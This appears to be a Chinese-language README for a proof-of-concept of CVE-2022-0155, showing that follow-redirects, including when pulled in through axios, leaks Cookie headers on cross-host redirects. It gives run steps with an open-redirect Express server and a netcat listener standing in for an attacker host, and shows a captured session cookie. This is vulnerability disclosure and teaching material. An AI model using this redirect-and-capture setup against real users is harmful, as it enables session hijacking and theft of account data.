该仓库包含对 CVE-2022-0155 漏洞的演示。 该漏洞由 ranjit-git 发现,并在 此处 详细描述。 本 PoC 的目的是展示该漏洞不仅适用于将 follow-redirects 用作直接依赖的场景,也适用于通过 axios 将其用作间接/传递依赖的场景。
该漏洞影响版本低于 1.14.7 的 follow-redirects npm 包。Follow-redirects 扩展了 内置 HTTP 模块,增加了跟随重定向的能力。
为了演示该漏洞,请考虑以下场景:
漏洞存在于第3步,因为易受攻击版本的 follow-redirects 包含了与第1步请求相同的 Cookie 头。这使得 https://attackers-webserver.com 能够窃取例如用户在 https://example.com 上的会话 ID,并获取用户数据。
攻击取决于攻击者能否控制重定向到 https://attackers-webserver.com。
在 PoC 中,使用 Express 服务器模拟 https://example.com 的行为。
该服务器有一个 GET API 端点 '/redirect',它会将客户端重定向到作为参数提供的 URL。
这模拟了攻击者可以控制客户端重定向到的 URL 的场景。
npm install
node express-server.js
nc -l -v 8182 # or nc -lnvp 8182 on non-mac systems
node client.js
你应该会看到运行 nc 的终端打印出以下输出:
GET / HTTP/1.1
Accept: application/json, text/plain, */*
Cookie: session=some-secret-value
User-Agent: axios/0.21.4
Host: localhost:8182
Connection: keep-alive
该漏洞通过 nc 终端中出现 Cookie 头来展示,因为 nc(Netcat)服务器被用来代表攻击者的 web 服务器。